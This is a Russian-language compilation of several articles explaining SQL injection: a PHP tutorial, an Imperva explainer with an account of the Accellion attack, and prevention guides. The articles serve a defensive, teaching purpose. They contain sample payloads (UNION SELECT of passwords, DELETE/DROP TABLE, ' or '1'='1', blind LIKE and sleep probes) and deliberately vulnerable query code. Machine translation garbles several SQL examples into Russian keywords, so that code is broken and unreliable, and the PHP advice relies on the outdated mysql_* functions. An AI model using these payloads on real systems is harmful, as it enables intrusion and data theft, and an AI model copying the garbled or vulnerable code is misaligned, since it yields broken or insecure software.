Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

Пример уязвимости

Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

<?php
// подключение к базе данных
$sql = «SELECT username, realname FROM users WHERE cityid=» . $_GET[‘cityid’];
$result = mysql_query($sql) or die(mysql_error());
// обработка результата и отображение списка пользователей
?>

В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
SQL-запрос получится таким:

SELECT username, realname FROM users WHERE cityid=20; DELETE * FROM users

Получается, что сервер MySQL получит не один запрос, а уже два, второй из которых нежелателен. К счастью, от этого существует защита: не допускается передавать два запроса одним mysql_query(). Поэтому злоумышленник должен встраивать свой кусок хитрее. Например, так: /users.php?cityid=20 UNION SELECT username, password AS realname FROM users
Запрос к БД будет иметь вид:

SELECT username, realname FROM users WHERE cityid=20 UNION SELECT username, password AS realname FROM users

Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

Как защититься?

Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

$sql = «SELECT username, realname FROM users WHERE cityid='» . $_GET[‘cityid’] . «‘»;

Оказывается, что такая мера не помогает. Злоумышленник сможет передать параметр cityid, содержащий одинарные кавычки, нейтрализующие эффект от защитных кавычек. В качестве параметра cityid он передаст 20′ UNION SELECT username, password AS realname FROM users WHERE ‘1, что приведет с формированию следующего запроса:

SELECT username, realname FROM users WHERE cityid=’20’ UNION SELECT username, password AS realname FROM users WHERE ‘1’

Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

$sql = «SELECT username, realname FROM users WHERE cityid='» . mysql_real_escape_string($_GET[‘cityid’]) . «‘»;

В случае использования mysql_real_escape_string() действия злоумышленника приведут к формированию запроса, который не является опасным, так как весь текст теперь внутри кавычек:

SELECT username, realname FROM users WHERE cityid=’20\’ UNION SELECT username, password AS realname FROM users WHERE \’1′

Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval(). В данном примере мы могли бы использовать:

$sql = «SELECT username, realname FROM users WHERE cityid='» . intval($_GET[‘cityid’]) . «‘»;

Отличия mysql_real_escape_string() и mysql_escape_string()

mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (‘) и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

mysql_real_escape_string() доступна в PHP с версии 4.3.0.

Дополнительные примеры

Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

Инъекция в сложных запросах

В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выболнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

$sql = «SELECT username, realname FROM users WHERE cityid='» . $_GET[‘cityid’] . «‘ AND age<’35′»;

В этом случае, злоумышленник может нейтрализовать дополнительное условия, передав в качестве параметра cityid 20′ UNION SELECT username, password AS realname FROM users WHERE 1 OR ‘1, что приведет с формированию следующего запроса:

SELECT username, realname FROM users WHERE cityid=’20’ UNION SELECT username, password AS realname FROM users WHERE 1 OR ‘1’ AND age<’35’

В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid=’20’ AND 1) OR (‘1’ AND
age<’35’) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid=’20’, и те, у которых age<35, причем наличие последних не обязательно.

В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

Результаты запроса не отображаются пользователю

Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

$sql = «SELECT count(*) FROM users WHERE userid='» . $_GET[‘userid’] . «‘»;

Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение «пользователь не найден».

В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2′ AND password LIKE ‘a%. Итоговый запрос: SELECT count(*) FROM users WHERE userid=’2′ AND password LIKE ‘a%’

Взломщик получит «пользователь не найден», если пароль не начинается на букву ‘a’, или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

Выводы

• Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
• Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
• Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
• Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

Удачи в построении безопасных приложений!

Статья написана по материалам онлайн-курса «Программирование на PHP».

© Все права на данную статью принадлежат порталу webew.ru. Перепечатка в интернет-изданиях разрешается только с указанием автора и прямой ссылки на оригинальную статью. Перепечатка в печатных изданиях допускается только с разрешения редакции.

Что такое SQL-инъекция | Пример атаки SQLI и методы предотвращения

Что такое SQL-инъекция

SQL-инъекция, также известная как SQLI, является распространенным вектором атаки, который использует вредоносный код SQL для внутренних манипуляций с базой данных для доступа к информации, которая не была предназначена для отображения. Эта информация может включать любое количество элементов, включая конфиденциальные данные компании, списки пользователей или данные частных клиентов.

Влияние SQL-инъекции на бизнес очень велико.Успешная атака может привести к несанкционированному просмотру списков пользователей, удалению целых таблиц и, в некоторых случаях, к получению злоумышленником административных прав на базу данных, и все это очень пагубно для бизнеса.

При расчете потенциальной стоимости SQLi важно учитывать потерю доверия клиентов в случае кражи личной информации, такой как номера телефонов, адреса и данные кредитной карты.

Хотя этот вектор можно использовать для атаки на любую базу данных SQL, веб-сайты являются наиболее частыми целями.

Что такое SQL-запросы

SQL — это стандартизированный язык, используемый для доступа к базам данных и управления ими для создания настраиваемых представлений данных для каждого пользователя. Запросы SQL используются для выполнения таких команд, как получение данных, обновление и удаление записей. Эти задачи реализуются различными элементами SQL, например запросами с использованием оператора SELECT для извлечения данных на основе параметров, предоставленных пользователем.

Типичный запрос к базе данных SQL электронного магазина может выглядеть следующим образом:

 ВЫБЕРИТЕ ItemName, ItemDescription
ОТ Пункт
ГДЕ ItemNumber = ItemNumber 

Из этого веб-приложение строит строковый запрос, который отправляется в базу данных как один оператор SQL:

 sql_query = "
ВЫБЕРИТЕ ItemName, ItemDescription
ОТ Пункт
ГДЕ ItemNumber = "& Запрос.QueryString ("ItemID") 

Пользовательский ввод http://www.estore.com/items/items.asp?itemid=999 может затем сгенерировать следующий запрос SQL:

 ВЫБЕРИТЕ ItemName, ItemDescription
ОТ Пункт
ГДЕ ItemNumber = 999 

Как можно понять из синтаксиса, этот запрос предоставляет имя и описание для позиции с номером 999.

Типы SQL-инъекций

SQL-инъекции обычно делятся на три категории: внутриполосный SQLi (классический), логический SQLi (слепой) и внеполосный SQLi.Вы можете классифицировать типы SQL-инъекций на основе методов, которые они используют для доступа к серверным данным, и их потенциального ущерба.

Злоумышленник использует один и тот же канал связи для запуска своих атак и сбора результатов. Простота и эффективность внутриполосного SQLi делают его одним из наиболее распространенных типов атак SQLi. Есть две разновидности этого метода:

• SQLi на основе ошибок — злоумышленник выполняет действия, которые заставляют базу данных создавать сообщения об ошибках.Злоумышленник потенциально может использовать данные, предоставленные этими сообщениями об ошибках, для сбора информации о структуре базы данных.
• SQLi на основе объединения — этот метод использует преимущество оператора UNION SQL, который объединяет несколько операторов выбора, сгенерированных базой данных, для получения одного ответа HTTP. Этот ответ может содержать данные, которые могут быть использованы злоумышленником.

Злоумышленник отправляет на сервер полезные данные и наблюдает за реакцией и поведением сервера, чтобы узнать больше о его структуре.Этот метод называется слепым SQLi, потому что данные из базы данных веб-сайта не передаются злоумышленнику, поэтому злоумышленник не может видеть информацию об атаке внутри канала.

Слепые SQL-инъекции основаны на реакции и поведенческих моделях сервера, поэтому они обычно медленнее выполняются, но могут быть столь же опасными. Слепые SQL-инъекции можно классифицировать следующим образом:

• Boolean — этот злоумышленник отправляет SQL-запрос к базе данных, предлагая приложению вернуть результат.Результат будет зависеть от того, является ли запрос истинным или ложным. В зависимости от результата информация в HTTP-ответе изменится или останется неизменной. Затем злоумышленник может определить, было ли сообщение верным или ложным.
• На основе времени — злоумышленник отправляет SQL-запрос к базе данных, что заставляет базу данных ждать (в течение периода в секундах), прежде чем она сможет отреагировать. Злоумышленник может видеть по времени, которое база данных требуется для ответа, является ли запрос истинным или ложным.В зависимости от результата ответ HTTP будет сгенерирован сразу или после периода ожидания. Таким образом, злоумышленник может определить, вернуло ли используемое им сообщение истину или ложь, не полагаясь на данные из базы данных.

Злоумышленник может осуществить эту форму атаки только в том случае, если на сервере базы данных, используемом веб-приложением, включены определенные функции. Эта форма атаки в основном используется как альтернатива внутриполосным и логическим методам SQLi.

Внеполосный SQLi выполняется, когда злоумышленник не может использовать тот же канал для запуска атаки и сбора информации, или когда сервер слишком медленный или нестабильный для выполнения этих действий. Эти методы рассчитаны на способность сервера создавать DNS или HTTP-запросы для передачи данных злоумышленнику.

Пример SQL-инъекции

Злоумышленник, желающий выполнить SQL-инъекцию, манипулирует стандартным SQL-запросом, чтобы использовать непроверенные входные уязвимости в базе данных.Есть много способов реализации этого вектора атаки, некоторые из которых будут показаны здесь, чтобы дать вам общее представление о том, как работает SQLI.

Например, вышеупомянутый ввод, который извлекает информацию для определенного продукта, может быть изменен на http://www.estore.com/items/items.asp?itemid=999 или 1 = 1.

В результате соответствующий SQL-запрос выглядит так:

 ВЫБЕРИТЕ ItemName, ItemDescription
ИЗ пунктов
ГДЕ ItemNumber = 999 ИЛИ 1 = 1 

И поскольку утверждение 1 = 1 всегда истинно, запрос возвращает все названия и описания продуктов в базе данных, даже те, к которым у вас может быть нет права доступа.

Злоумышленники также могут использовать неправильно отфильтрованные символы для изменения команд SQL, включая использование точки с запятой для разделения двух полей.

Например, это вход http://www.estore.com/items/iteams.asp?itemid=999; DROP TABLE Пользователи могут сгенерировать следующий SQL-запрос:

 ВЫБЕРИТЕ ItemName, ItemDescription
ИЗ пунктов
ГДЕ ItemNumber = 999; ПОЛЬЗОВАТЕЛЬСКАЯ ТАБЛИЦА 

В результате может быть удалена вся база данных пользователей.

Другой способ обработки запросов SQL — это оператор UNION SELECT.Это объединяет два несвязанных запроса SELECT для извлечения данных из разных таблиц базы данных.

Например, ввод http://www.estore.com/items/items.asp?itemid=999 UNION SELECT имя пользователя, пароль FROM USERS создает следующий SQL-запрос:

 ВЫБЕРИТЕ ItemName, ItemDescription
ИЗ пунктов
WHERE ItemID = '999' UNION SELECT Имя пользователя, пароль от пользователей; 

Используя оператор UNION SELECT, этот запрос объединяет запрос имени и описания элемента 999 с другим, который извлекает имена и пароли для каждого пользователя в базе данных.

SQL-инъекция в сочетании с выполнением команд ОС: атака Accellion

Accellion, производитель File Transfer Appliance (FTA), сетевого устройства, широко применяемого в организациях по всему миру и используемого для перемещения больших конфиденциальных файлов. Этому продукту более 20 лет, и срок его службы подошел к концу.

FTA стал объектом уникальной, очень изощренной атаки, сочетающей внедрение SQL-кода с выполнением команд операционной системы. Эксперты предполагают, что атака Accellion была осуществлена ​​хакерами, имеющими отношение к группе финансовых преступлений FIN11 и группе вымогателей Clop.

Атака демонстрирует, что SQL-инъекция — это не только атака, которая затрагивает веб-приложения или веб-службы, но также может использоваться для компрометации серверных систем и эксфильтрации данных.

Кто пострадал от атаки?

Эксплойт Accellion — это атака на цепочку поставок, затрагивающая многочисленные организации, развернувшие устройство FTA. В их число входят Резервный банк Новой Зеландии, штата Вашингтон, Австралийская комиссия по ценным бумагам и инвестициям, телекоммуникационный гигант Singtel, производитель программного обеспечения безопасности Qualys, а также многие другие.

Поток атаки Accelion

Согласно отчету, заказанному Accellion, комбинация SQLi и атака выполнения команды работала следующим образом:

1. Злоумышленники выполнили SQL-инъекцию, чтобы получить доступ к document_root.html, и получили ключи шифрования из базы данных Accellion FTA.
2. Злоумышленники использовали ключи для генерации действительных токенов и использовали эти токены для получения доступа к дополнительным файлам.
3. Злоумышленники воспользовались ошибкой выполнения команды операционной системы в файле sftp_account_edit.php, позволяя им выполнять свои собственные команды
4. Злоумышленники создали веб-оболочку на пути к серверу /home/seos/courier/oauth.api
5. Используя эту веб-оболочку, они загрузили на диск настраиваемую полнофункциональную веб-оболочку, которая включала в себя настраиваемые инструменты для эксфильтрации данных из системы Accellion. Исследователи назвали эту оболочку DEWMODE.
6. Используя DEWMODE, злоумышленники извлекли список доступных файлов из базы данных MySQL в системе Accellion FTA и перечислили файлы и их метаданные на странице HTML.
7. Злоумышленники выполняли запросы на загрузку файлов, которые содержали запросы к компоненту DEWMODE с зашифрованными и закодированными параметрами URL.
8. DEWMODE может принимать эти запросы, а затем удалять запросы на загрузку из веб-журналов FTA.

Это повышает профиль атак с использованием SQL-инъекций, показывая, как их можно использовать в качестве шлюза для гораздо более разрушительных атак на критически важную корпоративную инфраструктуру.

Предотвращение и смягчение последствий SQLI

Существует несколько эффективных способов предотвращения атак SQLI, а также защиты от них в случае их возникновения.

Первым шагом является проверка ввода (a.к.а. дезинфекция), который представляет собой практику написания кода, который может идентифицировать незаконные вводимые пользователем данные.

Хотя проверка входных данных всегда должна считаться передовой практикой, она редко бывает надежным решением. Реальность такова, что в большинстве случаев просто невозможно отобразить все законные и незаконные данные — по крайней мере, не без большого количества ложных срабатываний, которые мешают работе пользователей и функциональности приложения.

По этой причине брандмауэр веб-приложений (WAF) обычно используется для фильтрации SQLI, а также других сетевых угроз.Для этого WAF обычно полагается на большой и постоянно обновляемый список тщательно созданных сигнатур, которые позволяют ему хирургическим путем отсеивать вредоносные SQL-запросы. Обычно такой список содержит сигнатуры для устранения определенных векторов атак и регулярно обновляется для введения правил блокировки для вновь обнаруживаемых уязвимостей.

Современные межсетевые экраны веб-приложений также часто интегрируются с другими решениями безопасности. От них WAF может получать дополнительную информацию, которая еще больше увеличивает его возможности безопасности.

Например, брандмауэр веб-приложения, который обнаруживает подозрительный, но не явно злонамеренный ввод, может перепроверить его с данными IP, прежде чем принять решение о блокировке запроса. Он блокирует ввод только в том случае, если сам IP имеет плохую репутационную историю.

Imperva использует распознавание сигнатур, репутацию IP и другие методы безопасности для выявления и блокировки SQL-инъекций с минимальным количеством ложных срабатываний. Возможности WAF дополняются IncapRules — механизмом настраиваемых правил безопасности, который позволяет детально настраивать параметры безопасности по умолчанию и создавать дополнительные политики безопасности для конкретных случаев.

Наш WAF также использует методы краудсорсинга, которые гарантируют, что новые угрозы, нацеленные на любого пользователя, немедленно распространяются по всей пользовательской базе. Это позволяет быстро реагировать на недавно обнаруженные уязвимости и угрозы нулевого дня.

Узнайте, как Imperva Web Application Firewall может помочь вам с инъекциями SQL.

Добавление защиты, ориентированной на данные, для углубленной защиты

Оптимальная защита — это многоуровневый подход, который включает стратегии, ориентированные на данные, которые сосредоточены на защите самих данных, а также сети и приложений вокруг них.Imperva Database Security постоянно обнаруживает и классифицирует конфиденциальные данные, чтобы определить, сколько конфиденциальных данных существует, где они хранятся и защищены ли они.

Кроме того, Imperva Database Security активно отслеживает активность доступа к данным, чтобы определить любое поведение доступа к данным, которое является риском или нарушает политику, независимо от того, исходит ли оно из сетевого SQL-запроса, взломанной учетной записи пользователя или злонамеренного инсайдера. Получайте автоматическое уведомление о событии безопасности, чтобы вы могли быстро отреагировать с помощью аналитики безопасности, которая дает четкое объяснение угрозы и позволяет немедленно инициировать процесс реагирования с единой платформы.

Безопасность базы данных — это последняя критическая линия защиты от взлома, подобного SQLi. Уникальный подход Imperva к защите данных включает полное представление как веб-приложения, так и уровня данных.

Что такое SQL-инъекция? Примеры атак и предотвращение

Насколько опасны SQL-инъекции?

В случае успешного выполнения SQL-инъекции могут нанести огромный ущерб любому бизнесу или отдельному человеку.После того, как конфиденциальные данные будут скомпрометированы в результате атаки, их полное восстановление может быть затруднено.

Базы данных обычно предназначены для внедрения через приложение (например, веб-сайт, который запрашивает ввод данных пользователем, а затем выполняет поиск в базе данных на основе этих вводимых данных), но они также могут быть нацелены напрямую. Атаки с использованием SQL-инъекций включены в список 10 лучших рисков безопасности приложений OWASP, с которыми борются компании.

Типы атак с использованием SQL-инъекций

SQL-инъекций могут быть выполнены несколькими способами.Злоумышленники могут наблюдать за поведением системы, прежде чем выбрать конкретный вектор / метод атаки.

Необработанный ввод — это распространенный тип атаки SQLi, при котором злоумышленник предоставляет пользовательский ввод, который не очищен должным образом для символов, которые следует экранировать, и / или ввод не проверяется на соответствие типу, который является правильным / ожидаемым.

Например, веб-сайт, используемый для оплаты счетов в Интернете, может запросить номер учетной записи пользователя в веб-форме, а затем отправить его в базу данных для получения информации о связанной учетной записи.Если веб-приложение динамически создает строку запроса SQL с номером учетной записи, предоставленным пользователем, она может выглядеть примерно так:

« ВЫБРАТЬ * ОТ клиентов, ГДЕ account =‘ «+ userProvidedAccountNumber +» ’;»

Хотя это работает для пользователей, которые правильно вводят номер своей учетной записи, это оставляет дверь открытой для злоумышленников. Например, если кто-то решил предоставить номер счета «‘ или ‘1’ = ‘1», это приведет к строке запроса:

« ВЫБРАТЬ * ОТ клиентов, ГДЕ account =‘ ’или‘ 1 ’=‘ 1 ’;»

Поскольку «1» = «1» всегда принимает значение ИСТИНА, отправка этого оператора в базу данных приведет к возврату данных для всех клиентов , а не только одного клиента.

Также называемая Inferential SQL Injection, атака с слепым SQL-внедрением не раскрывает данные непосредственно из целевой базы данных. Напротив, злоумышленник внимательно исследует косвенные признаки поведения. Детали в HTTP-ответах, пустые веб-страницы для определенного пользовательского ввода и время, необходимое базе данных для ответа на определенный пользовательский ввод, — все это может быть подсказкой в ​​зависимости от цели злоумышленника. Они также могут указать злоумышленнику на другой способ атаки SQLi.

Эта атака немного более сложна и может использоваться злоумышленником, когда он не может достичь своей цели с помощью одной прямой атаки типа запрос-ответ. Как правило, злоумышленник создает операторы SQL, которые при передаче в базу данных запускают систему базы данных для создания соединения с внешним сервером, управляемым злоумышленником. Таким образом злоумышленник может собирать данные или потенциально контролировать поведение базы данных.

Инъекция второго порядка — это тип атаки внеполосной инъекции.В этом случае злоумышленник предоставит SQL-инъекцию, которая будет сохранена и выполнена отдельным поведением системы базы данных. Когда происходит вторичное поведение системы (это может быть что-то вроде задания, основанного на времени или что-то, инициированное другим типичным администратором или пользователем базы данных) и выполняется SQL-инъекция злоумышленника, тогда «протянуть руку» к системе, происходит контроль злоумышленника.

Пример внедрения SQL

Для этого примера внедрения SQL воспользуемся двумя таблицами базы данных, пользователями и контактами.Таблица Users может быть такой же простой, как и всего три поля: ID, имя пользователя и пароль. В таблице «Контакты» содержится дополнительная информация о пользователях, такая как UserID, FirstName, LastName, Address1, Email, номер кредитной карты и защитный код.

Таблица Users содержит информацию, используемую для входа в систему, например:

1. jsmith, P @ $$ w0rd
2. sbrown, WinterIsComing!
3. Карлес, Sup3rSecur3Password $

Примечание. Пароли всегда должны хешироваться и обрабатываться при хранении в базе данных, а не в виде открытого текста.

Когда кто-то хочет войти в систему, он переходит на страницу входа и вводит свое имя пользователя и пароль. Затем эта информация отправляется на веб-сервер, который создает запрос SQL и отправляет этот запрос на сервер базы данных. Пример того, как выглядит этот запрос, может быть:

Выберите идентификатор среди пользователей, где имя пользователя = ’jsmith’ и пароль = ’P @ $$ w0rd’

Принцип работы SQL заключается в том, что он затем выполняет сравнение «истина» или «ложь» для каждой строки, запрашиваемой запросом.В нашем примере запрос предлагает проверить таблицу Users и вернуть значение идентификатора для каждой строки, где имя пользователя — jsmith, а пароль — P @ $$ w0rd. Часто веб-сервер затем видит, что возвращает сервер базы данных, и является ли это числом. В нашем случае веб-сервер получит в ответ 1 и позволит пользователю пройти страницу входа в систему.

Но что, если мы хотим этим подстегнуть? Поскольку сервер базы данных выполняет эту проверку истинности или ложности, мы можем обманом заставить его поверить в то, что мы успешно прошли аутентификацию.Мы можем сделать это, добавив к паролю ИЛИ. Если мы войдем в систему с паролем x ’или 1 = 1, будет создан новый SQL-запрос, который будет выглядеть так:

Выберите ID из списка пользователей, где имя пользователя = ’jsmith’ и пароль = ’x’ или 1 = 1

Это сработает для нас, потому что, хотя x не является паролем jsmith, сервер базы данных затем проверит второе условие. Если x не является паролем jsmith, тогда 1 равно 1? Оно делает! Идентификатор будет отправлен обратно в приложение, и пользователь будет успешно аутентифицирован.

Это не обязательно должно быть условие 1 = 1. Подойдут любые два равных значения: 2 = 2, 4726 = 4726 или даже a = a.

Если веб-страница способна отображать данные, также можно распечатать дополнительные данные на экране. Чтобы получить доступ к данным, мы можем попытаться связать два запроса SQL. В дополнение к нашему «или 1 = 1» мы можем добавить к нему второй оператор, такой как UNION SELECT LastName, номер кредитной карты, защитный код из контактов. Дополнительные предложения, подобные этому, могут потребовать дополнительной работы, но получение доступа к данным является конечной целью атаки с использованием SQL-инъекции.

Другой метод, который мы можем использовать для слепой инъекции SQL, при котором данные не отправляются обратно на экран, — это внедрение других подсказок. Подобно нашему условию ‘or 1 = 1, мы можем сказать серверу, чтобы он спал. Мы могли бы добавить: «or sleep (10)», и это будет делать то, что кажется. Он скажет серверу базы данных вздремнуть 10 секунд, и все ответы будут отложены.

Как предотвратить атаки с использованием SQL-инъекций

Следующие предложения могут помочь предотвратить успешную атаку с помощью SQL-инъекции:

Не использовать динамический SQL

Очистить вводимые пользователем данные

• Правильно экранируйте те символы, которые нужно экранировать.
• Убедитесь, что тип представленных данных соответствует ожидаемому типу.

Не оставляйте конфиденциальные данные в виде открытого текста

• Шифрование личных / конфиденциальных данных, хранящихся в базе данных.
• Соль зашифрованные хэши.
• Это также обеспечивает еще один уровень защиты на случай, если злоумышленник успешно украдет конфиденциальные данные.

Ограничить разрешения и привилегии базы данных

• Установите возможности пользователя базы данных до минимально необходимого.
• Это ограничит действия злоумышленника, если ему удастся получить доступ.

Избегайте отображения ошибок базы данных непосредственно пользователю

• Злоумышленники могут использовать эти сообщения об ошибках для получения информации о базе данных.

Используйте брандмауэр веб-приложений (WAF) для веб-приложений, которые обращаются к базам данных

• Обеспечивает защиту веб-приложений.
• Это может помочь идентифицировать попытки внедрения SQL.
• В зависимости от настройки это также может помочь предотвратить попытки внедрения SQL-кода в приложение (и, следовательно, в базу данных).

Используйте решение для тестирования безопасности веб-приложений для регулярного тестирования веб-приложений, взаимодействующих с базами данных

• Это может помочь отловить новые ошибки или регрессии, которые могут сделать возможным внедрение SQL.

Обновлять базы данных до последних доступных исправлений

• Это предотвращает использование злоумышленниками известных слабых мест / ошибок, имеющихся в старых версиях.

SQL-инъекция — популярный метод атаки для злоумышленников, но, приняв надлежащие меры предосторожности, такие как обеспечение шифрования данных, защита и тестирование веб-приложений и наличие обновленных исправлений, вы можете предпринять важные шаги. для обеспечения безопасности ваших данных.

Что такое SQL-инъекция? Предотвращение SQL-инъекций

Что могут сделать злоумышленники с помощью SQL-инъекций?

SQLi используют уязвимости в коде в точке доступа к базе данных.Взломав этот код, злоумышленники могут получить доступ, изменить и даже удалить защищенные данные.

Когда атаки SQLi успешны, злоумышленники могут:

• Войдите в приложение или интерфейс веб-сайта без пароля.
• Доступ, извлечение и удаление сохраненных данных из защищенных баз данных.
• Создавать собственные записи в базе данных или изменять существующие записи, открывая дверь для дальнейших атак.

Анатомия атаки с использованием SQL-инъекции

На этапе разведки, который включает в себя исследование для выявления и выбора целей, злоумышленники будут искать места в вашем приложении, где они могут передавать неожиданные значения в операторы SQL.Просто подавить сообщения об ошибках недостаточно; Общие методы обнаружения уязвимостей SQL включают добавление одинарных кавычек и точек с запятой во вводимые пользователем данные и поиск сообщений об ошибках, которые возвращают информацию о структуре базы данных и схемах именования.

Это не значит, что вы всегда идете против человека, которого вам просто нужно перехитрить; Атаки с использованием SQL-инъекций легко автоматизировать, а это означает, что вам нужна лучшая защита как с точки зрения умственных способностей, так и с помощью инструментов сканирования. Обнаружив уязвимости в вашем приложении, злоумышленники создадут свои собственные операторы SQL и будут использовать их для управления поведением вашего приложения.Если их атака будет успешной, злоумышленники смогут получить доступ к конфиденциальным данным, административным функциям или другим защищенным областям вашего приложения.

Примеры из практики и последствия

Из-за своей простоты атаки SQLi являются обычным явлением. Они могут иметь разрушительные последствия для вас и ваших пользователей.

В 2016 году анонимный информатор просочил 11,5 миллиона конфиденциальных документов из панамской юридической фирмы Mossack Fonseca. Злоумышленники могли использовать операторы SQL в системе управления контентом компании и в другой небезопасной сетевой архитектуре для доступа к базе данных клиентов компании и загрузки конфиденциальных файлов.Публикация этих документов не только смущала, но и имела серьезные юридические последствия для клиентов.

В 2009 году граждане России и США использовали атаки SQLi для получения доступа к 160 миллионам номеров кредитных карт от Heartland Payment Systems, что на тот момент было крупнейшей утечкой финансовой информации. Злоумышленники продавали украденные номера карт на черном рынке, а другие преступники быстро накапливали счета на сотни миллионов долларов, нанося ущерб как корпорациям, так и частным лицам.

Даже MySQL, популярный поставщик SQL, в 2011 году пострадал от SQLi-атаки на его веб-сайт, в результате которой были опубликованы сотни имен пользователей и хэшей паролей. Тот факт, что поставщик SQL может стать жертвой атак SQLi, показывает, что никто не застрахован, и злоумышленники сделают все возможное, чтобы воспользоваться незащищенным кодом.

Предотвращение атак с использованием SQL-инъекций

Несмотря на значительную опасность, которую представляют атаки SQLi, их легко предотвратить, если вы изучите некоторые передовые методы безопасного кодирования, которые включают базовые процедуры:

• Обнаружить уязвимости
• Устранение уязвимостей
• Устранение уязвимостей
• Смягчить воздействие

Тестирование — ключ к обнаружению уязвимостей в вашем коде.Выбирайте надежные инструменты, такие как динамический анализ (DAST), который смотрит на приложение извне, как злоумышленник, и инструменты статического анализа (SAST), которые ищут уязвимости на уровне кода. Найдите области, в которых ваше приложение подключается к базе данных, и попробуйте передать ему необычные значения. Например, если вы вводите значение, содержащее одинарную кавычку, ваша программа обрабатывает этот символ как пользовательские данные или как код? Если вы включите тавтологический тест (например, «ИЛИ» 1 = 1 »), сможете ли вы получить доступ, как если бы вы ввели действительный пароль?

После того, как вы обнаружили уязвимости, пора их исправить.Лучший способ сделать это — использовать параметры каждый раз, когда вам нужно делать SQL-запросы к базе данных, вводя значения-заполнители в ваши операторы, а затем передавая введенные пользователем значения операторам во время выполнения. Если ваш язык программирования не поддерживает параметры, вы можете исправить свой код, очистив или исключив ввод перед передачей его в базу данных. Это позволяет вашему приложению знать, что вводимые пользователем данные — это данные, а не код, который он должен выполнить.

Смягчение также является важным процессом, помогающим снизить риск, но без устранения основного недостатка.Например, вместо того, чтобы смотреть на код вашего приложения, вы можете уменьшить недостаток, изучив учетные записи базы данных, используемые вашим приложением, и убедившись, что они имеют наименьшее количество привилегий, необходимых для чтения или вставки данных в вашу базу данных.

Умные разработчики, безопасная разработка

SQLi могут иметь серьезные последствия после того, как злоумышленники получат контроль, от вашего приложения или веб-сайта до утечки конфиденциальных данных ваших клиентов.

К счастью, от атак SQLi легко защититься.Вам необходимо искать уязвимости, в которых злоумышленники могут внедрить свой собственный код SQL, а затем исправить эти уязвимости с помощью подготовленных операторов, ORMS и других стратегий. Если подготовленные операторы недоступны, уязвимости могут быть устранены путем очистки или экранирования пользовательского ввода перед его передачей в базу данных в запросе SQL. Наконец, введение интеллектуальных привилегий доступа к базе данных может снизить количество и серьезность атак SQLi еще до того, как ваше приложение сможет выполнять запросы.

Разработка приложений означает размышление об уязвимостях и передовых методах обеспечения безопасности на каждом этапе процесса.Загрузите нашу шпаргалку по SQL-инъекциям и узнайте больше о предотвращении опасных уязвимостей, таких как SQL-инъекция, в нашем Руководстве по передовым методам безопасного кодирования.

Что такое SQL-инъекция (SQLi) и как предотвратить атаки

